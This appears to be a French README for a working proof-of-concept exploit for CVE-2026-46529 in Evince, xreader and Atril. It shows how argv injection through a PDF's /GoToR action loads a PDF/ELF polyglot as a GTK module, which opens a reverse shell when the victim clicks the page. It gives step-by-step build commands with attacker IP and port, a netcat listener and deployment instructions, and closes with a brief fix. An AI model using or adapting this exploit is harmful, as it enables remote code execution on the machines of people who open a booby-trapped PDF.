
Exploit RCE pour Evince/xreader/Atril visant CVE-2026-46529
Preuve de concept fonctionnelle pour l'injection d'argv dans ev_spawn()
(shell/ev-application.c). Un simple clic n'importe où sur la page
rendue d'un PDF piégé déclenche l'exécution de code arbitraire avec les
droits de l'utilisateur qui exécute le visualiseur.
Cette version utilise la technique de substitution %f : le chemin cible
du dlopen est découvert par le visualiseur lui-même à l'exécution, de
sorte que l'attaquant n'a besoin d'aucune connaissance de l'endroit où le
polyglotte atterrit sur le système de fichiers de la victime (ni nom
d'utilisateur, ni $HOME, ni répertoire de téléchargement).
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| Fichier | Rôle |
|---|---|
exploit.sh | Wrapper à usage unique : compile et construit le polyglotte en une seule commande. |
evil_gtk_module.c | Code source de la charge utile. Le constructeur ouvre un shell inverse et dépose un marqueur dans /tmp/PWNED_atril_<pid>.txt. |
build_polyglot.py | Générateur de polyglotte. Combine un evil.so compilé avec un corps PDF minimal contenant l'action /GoToR et la contrebande %f. |
Vous devez compiler sur une machine Linux dont l'architecture correspond
à celle de la victime. evil_gtk_module.c est portable entre
architectures ; l'ELF résultant est spécifique à l'architecture. macOS ne
peut pas produire le .so car l'éditeur de liens d'Apple n'accepte pas
les options GNU build-id.
ev_spawn() construit la ligne de commande de spawn en interpolant les
chaînes /D (destination nommée) et /F (spécification de fichier) du
PDF sans g_shell_quote. Le résultat est ré-analysé en argv par
g_app_info_create_from_commandline → g_shell_parse_argv. En forgeant
/D avec une espace initiale et --gtk-module=..., le visualiseur
enfant lancé reçoit --gtk-module= comme élément argv autonome, que
gtk_init() honore via g_module_open() (c'est-à-dire dlopen). Tout
constructeur de l'ELF chargé s'exécute avec les droits de la victime.
Le polyglotte est un fichier unique qui est simultanément un PDF valide
et une bibliothèque partagée ELF valide — le marqueur %PDF-1.4 est
estampillé dans l'emplacement SHA1 .note.gnu.build-id (offset 0x1d8),
ce que poppler accepte car il analyse les 1024 premiers octets pour y
trouver la signature magique, et ld.so l'accepte car le contenu du
build-id est informatif.
L'astuce %f (cette version) comble la dernière lacune. Au lieu de coder
en dur le chemin du polyglotte dans le PDF, on intègre le paramètre %f
de glib. g_app_info_launch_uris de glib remplace %f par la forme en
chemin local de l'URI qu'atril a résolue à l'exécution via
g_path_get_dirname(source_uri) + /F.basename. L'argv de l'enfant lancé
finit par contenir --gtk-module=<chemin-réel-à-l'exécution>, dlopen
réussit, RCE.
/F est défini sur <basename>?1 plutôt que simplement <basename> car
ev_application_open_uri_at_dest() court-circuite et se contente de
naviguer (au lieu de lancer un processus) lorsque l'URI /F résolue est
égale à l'URI source. La chaîne de requête finale rend l'URI distincte ;
g_filename_from_uri de glib la supprime lors de la construction de
%f.
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
Sortie : report.pdf avec la cible du shell inverse intégrée. Déployez
le fichier sur la victime avec le même nom de base (n'importe quel
répertoire), lancez un écouteur, faites-lui ouvrir le fichier dans atril
et cliquer n'importe où sur la page.
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
Le nom de base intégré dans /F est dérivé du nom du fichier de sortie,
si bien que le polyglotte doit être déployé sous le nom report.pdf. Le
répertoire n'a pas d'importance — atril résout le chemin complet à
l'exécution via la substitution %f. L'annotation de lien couvre
l'intégralité du MediaBox, donc tout clic déclenche l'action. Un fichier
marqueur est également écrit dans /tmp/PWNED_atril_<pid>.txt.
exploit.sh-o, --output FILE Output PDF path (default: polyglot.pdf)
--ip IP Reverse shell target IP (default: 127.0.0.1)
--port PORT Reverse shell target port (default: 9000)
--cc COMPILER C compiler (default: gcc, env: CC)
--keep-so Don't delete evil.so after build
-h, --help Show usage
Exemple de compilation croisée (construire un polyglotte aarch64 sur un hôte x86_64) :
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.sh)Si vous souhaitez un contrôle total sur chaque étape :
Compilez evil.so avec votre IP/port.
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
Construisez le polyglotte.
python3 build_polyglot.py evil.so <output.pdf>
Le nom de base intégré dans /F est dérivé du nom du fichier de
sortie. Déployez le polyglotte sur la victime avec le même nom de
base — le répertoire n'a pas d'importance, atril le résout à
l'exécution.
Confirmé :
Le code vulnérable (ev_spawn et le chemin d'ouverture /GoToR) est
partagé entre les trois. evince upstream présente le même bug ; la seule
différence dans les versions récentes d'evince est que GTK4 a supprimé
l'option de ligne de commande --gtk-module=, ce qui ferme ce sink
dlopen spécifique. Les versions d'evince compilées avec GTK3 (la plupart
des distributions LTS au moment de la rédaction) restent vulnérables.
Le bug existe depuis le début des années 2010, date à laquelle la
construction de la ligne de commande ev_spawn a été écrite. Le
correctif est simple : encapsuler chaque composant contrôlé par
l'attaquant dans g_shell_quote avant g_string_append_printf, ou
passer argv sous forme de liste à g_spawn_async (en évitant
entièrement l'aller-retour d'analyse par le shell).
Préservation du nom de fichier. Le nom de base intégré dans /F
doit correspondre au nom de fichier que le polyglotte porte sur le
disque de la victime au moment du déclenchement. Si la victime renomme
le fichier avant de l'ouvrir, atril résout /F vers un chemin
inexistant et dlopen échoue.
GTK4. Les versions récentes d'evince compilées avec GTK4 ont
supprimé l'option de ligne de commande --gtk-module=, ce qui ferme
ce sink dlopen spécifique. L'injection argv en elle-même est toujours
présente — seule cette voie d'exploitation particulière est atténuée
par GTK4.
J.Medeiros